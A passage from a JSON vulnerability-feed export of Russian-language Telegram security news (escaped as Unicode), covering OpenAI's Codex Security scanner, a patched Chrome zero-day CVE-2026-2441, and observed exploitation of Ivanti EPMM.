\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 10 561 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0441\u0442\u0438.\n\n\u041a \u043d\u0438\u043c \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u043f\u0440\u043e\u0435\u043a\u0442\u0430\u0445 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u0432\u043a\u043b\u044e\u0447\u0430\u044f OpenSSH, GnuTLS, GOGS, Thorium, libssh, PHP \u0438 Chromium, \u0438 \u043c\u043d\u043e\u0433\u0438\u0445 \u0434\u0440.\n\n\u0421\u0440\u0435\u0434\u0438 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0437 \u043d\u0438\u0445: GnuPG (CVE-2026-24881, CVE-2026-24882), GnuTLS (CVE-2025-32988, CVE-2025-32989), GOGS (CVE-2025-64175, CVE-2026-25242) \u0438 Thorium\u00a0(CVE-2025-35430 - CVE-2025-35436)\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c OpenAI, \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u0430\u0433\u0435\u043d\u0442\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0430, \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0432\u0430\u0435\u043c\u044b\u0435 \u0435\u0435 \u043f\u0435\u0440\u0435\u0434\u043e\u0432\u044b\u043c\u0438 \u043c\u043e\u0434\u0435\u043b\u044f\u043c\u0438, \u0438 \u0441\u043e\u0447\u0435\u0442\u0430\u0435\u0442 \u0438\u0445 \u0441 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u043e\u0439, \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0438\u0440\u0443\u044f \u0440\u0438\u0441\u043a\u0438 \u043b\u043e\u0436\u043d\u044b\u0445 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0439 \u0438 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0431\u043e\u043b\u0435\u0435 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u0440\u0435\u0448\u0435\u043d\u0438\u044f.\n\n\u041f\u0440\u043e\u0432\u0435\u0434\u0435\u043d\u043d\u044b\u0435 OpenAI \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0435\u0440\u0438\u043e\u0434\u0430 \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043e\u0434\u043d\u0438\u0445 \u0438 \u0442\u0435\u0445 \u0436\u0435 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043d\u0438\u0436\u0435\u043d\u0438\u0435 \u0447\u0430\u0441\u0442\u043e\u0442\u044b \u043b\u043e\u0436\u043d\u044b\u0445 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u043d\u0438\u0439, \u043f\u0440\u0438\u0447\u0435\u043c \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044f\u044f \u0443\u043c\u0435\u043d\u044c\u0448\u0438\u043b\u0430\u0441\u044c \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u043d\u0430 50% \u0432\u043e \u0432\u0441\u0435\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445.\n\nOpenAI \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442, \u0447\u0442\u043e Codex Security \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d \u0434\u043b\u044f \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u0441\u0447\u0435\u0442 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0435\u0440\u0435\u0434 \u0438\u0445 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c.\u00a0\n\n\u0412 \u0447\u0430\u0441\u0442\u043d\u043e\u0441\u0442\u0438, \u0430\u0433\u0435\u043d\u0442 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u0442\u0440\u0438 \u044d\u0442\u0430\u043f\u0430: \u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u0434\u043b\u044f \u043f\u043e\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0440\u043e\u0435\u043a\u0442\u0430, \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442 \u0440\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0443\u0435\u043c\u0443\u044e \u043c\u043e\u0434\u0435\u043b\u044c \u0443\u0433\u0440\u043e\u0437, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0435\u0433\u043e \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0438 \u043c\u0435\u0441\u0442\u0430 \u0441 \u043d\u0430\u0438\u0431\u043e\u043b\u044c\u0448\u0438\u043c\u0438 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043d\u044b\u043c\u0438 \u0430\u0441\u043f\u0435\u043a\u0442\u0430\u043c\u0438.\n\n\u041f\u043e\u0441\u043b\u0435 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u043e\u0433\u043e \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0430 Codex Security \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0435\u0433\u043e \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043e\u0441\u043d\u043e\u0432\u044b \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0438\u0445 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043b\u0438\u044f\u043d\u0438\u044f.\n\n\u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043f\u0440\u043e\u0445\u043e\u0434\u044f\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0432 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435 \u0434\u043b\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u044f \u0438\u0445 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u0438 \u0441 \u0443\u0447\u0435\u0442\u043e\u043c \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0438 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0449\u0435\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b.\n\n\u041d\u0430 \u0437\u0430\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u043c \u044d\u0442\u0430\u043f\u0435 \u0430\u0433\u0435\u043d\u0442 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u0440\u0435\u0448\u0435\u043d\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043d\u0430\u0438\u043b\u0443\u0447\u0448\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0443\u043c\u0435\u043d\u044c\u0448\u0430\u044f \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0440\u0435\u0433\u0440\u0435\u0441\u0441\u0438\u0439, \u0443\u043f\u0440\u043e\u0449\u0430\u044f \u0438\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u0435.\n\n\u0412 \u0446\u0435\u043b\u043e\u043c, \u043e\u0442\u043c\u0435\u0442\u0438\u043c, \u0447\u0442\u043e \u0441\u043a\u0430\u043d\u0435\u0440\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0418\u0418 - \u043d\u0435 \u043d\u043e\u0432\u0438\u043d\u043a\u0430.\n\n\u041d\u0435\u0434\u0430\u0432\u043d\u043e Claude \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0441\u043a\u0430\u043d\u0435\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 - Claude Code Security. GitHub \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442 \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0436\u0435 \u043c\u043d\u043e\u0433\u043e \u043b\u0435\u0442, \u0430 Google\u00a0\u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0434\u043e\u0431\u0438\u043b\u0430\u0441\u044c \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0435\u0441\u0441\u0430 \u0432 \u044d\u0442\u043e\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438.", "creation_timestamp": "2026-03-10T17:00:08.000000Z"}, {"uuid": "f12f610d-cd29-4a27-914c-e2c988b3a901", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/xakep_ru/18973", "content": "\u0412 Google Chrome \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0438 \u043f\u0435\u0440\u0432\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f \u0432 \u044d\u0442\u043e\u043c \u0433\u043e\u0434\u0443\n\n\u041d\u0430 \u044d\u0442\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0434\u043b\u044f \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430 Chrome, \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0432\u0448\u0435\u0435 \u043f\u0435\u0440\u0432\u0443\u044e \u0432 \u044d\u0442\u043e\u043c \u0433\u043e\u0434\u0443 0-day-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-2441, \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0443\u0436\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0445\u0430\u043a\u0435\u0440\u044b. \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430 \u0434\u043b\u044f \u044d\u0442\u043e\u0433\u043e \u0431\u0430\u0433\u0430.\n\nhttps://xakep.ru/2026/02/20/chrome-fisrt-0day/", "creation_timestamp": "2026-02-20T16:39:20.000000Z"}, {"uuid": "9e4b3d2b-34db-4600-828f-a4a7637deb03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/true_secator/7912", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Chrome, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 0-day (\u043f\u0435\u0440\u0432\u0430\u044f \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u044d\u0442\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0438\u0445 \u0431\u044b\u043b\u043e \u0432\u043e\u0441\u0435\u043c\u044c).\n\nCVE-2026-2441 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 CSS, \u043e \u043d\u0435\u0439 \u0441\u043e\u043e\u0431\u0449\u0438\u043b \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0428\u0430\u0445\u0438\u043d \u0424\u0430\u0437\u0438\u043c, \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0432 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u043b\u043e\u0441\u044c \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0440\u044f\u0434\u0430 \u043e\u0448\u0438\u0431\u043e\u043a.\n\n\u0423\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0435 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u043e \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0443 11 \u0444\u0435\u0432\u0440\u0430\u043b\u044f, \u0432\u0441\u0435\u0433\u043e \u0437\u0430 \u0434\u0432\u0430 \u0434\u043d\u044f \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430.\u00a0\n\n\u041e\u043d\u0430 \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439 \u043d\u0435\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0438\u0442\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u0432 CSSFontFeatureValuesMap, \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 Chrome \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0441\u0442\u0438\u043a \u0448\u0440\u0438\u0444\u0442\u043e\u0432 CSS.\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u0441\u0431\u043e\u0438 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u043c, \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u043e\u0435 \u043d\u0435\u043f\u0440\u0435\u0436\u0434\u0441\u043a\u0430\u0437\u0443\u0435\u043c\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u043f\u0430\u0442\u0447 CVE-2026-2441 \u0440\u0435\u0448\u0430\u0435\u0442 \u00ab\u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443\u00bb, \u043d\u043e \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0430 (483936078). \u042d\u0442\u043e \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0443\u0435\u0442 \u043e \u0442\u043e\u043c, \u0447\u0442\u043e \u0442\u0435\u043a\u0443\u0449\u0435\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043c\u043e\u0436\u0435\u0442 \u043d\u043e\u0441\u0438\u0442\u044c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0439 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440 \u0438\u043b\u0438 \u0436\u0435 \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b \u0432\u0441\u0435 \u0435\u0449\u0435 \u043d\u0443\u0436\u0434\u0430\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0448\u0435\u043d\u0438\u0438.\n\nGoogle \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442, \u0447\u0442\u043e \u0435\u0439 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e \u043e\u0431 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 0-day \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u043d\u043e \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u044d\u0442\u0438\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430\u0445 \u043e\u0442\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c.\n\n\u041e\u0434\u043d\u0430\u043a\u043e, \u0441\u0443\u0434\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438, \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 Google, \u044d\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430, \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u043d\u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0432\u0435\u0431-\u0441\u0430\u0439\u0442.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043a\u043e\u0434 \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f \u0432 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435, \u0438 \u0434\u043b\u044f \u0432\u044b\u0445\u043e\u0434\u0430 \u0438\u0437 \u044d\u0442\u043e\u0439 \u0441\u0440\u0435\u0434\u044b \u0438 \u043f\u043e\u043b\u043d\u043e\u0433\u043e \u0437\u0430\u0445\u0432\u0430\u0442\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e, \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u0430\u043d\u0430\u043b\u0430 Desktop, \u0438 \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0438\u0435 \u0434\u043d\u0438 \u0438\u043b\u0438 \u043d\u0435\u0434\u0435\u043b\u0438 \u043d\u043e\u0432\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0431\u0443\u0434\u0443\u0442 \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u044f\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Windows, macOS (145.0.7632.75/76) \u0438 Linux (144.0.7559.75) \u043f\u043e \u0432\u0441\u0435\u043c\u0443 \u043c\u0438\u0440\u0443.", "creation_timestamp": "2026-02-16T11:25:12.000000Z"}, {"uuid": "4d08f635-b064-4884-add0-a927d89ad423", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "exploited", "source": "https://t.me/true_secator/7908", "content": "GreyNoise \u0441\u043e\u043e\u0431\u0449\u0430\u0435\u0442 \u043e 417 \u0441\u0435\u0430\u043d\u0441\u0430\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Ivanti Endpoint Manager Mobile (EPMM), \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u044b\u0445 \u0441 8 IP \u0432 \u043f\u0435\u0440\u0438\u043e\u0434 1-9 \u0444\u0435\u0432\u0440\u0430\u043b\u044f, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 346 (83% \u043e\u0442 \u0432\u0441\u0435\u0445 \u043f\u043e\u043f\u044b\u0442\u043e\u043a) \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c \u043d\u0430 \u043e\u0434\u0438\u043d 193.24.123[.]42 \u0432 \u0445\u043e\u0441\u0442\u0438\u043d\u0433\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 PROSPERO.\n\n\u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c \u043d\u0430\u0446\u0435\u043b\u0435\u043d\u0430 \u043d\u0430 CVE-2026-1281\u00a0(CVSS: 9,8), \u043e\u0434\u043d\u0443 \u0438\u0437 \u0434\u0432\u0443\u0445 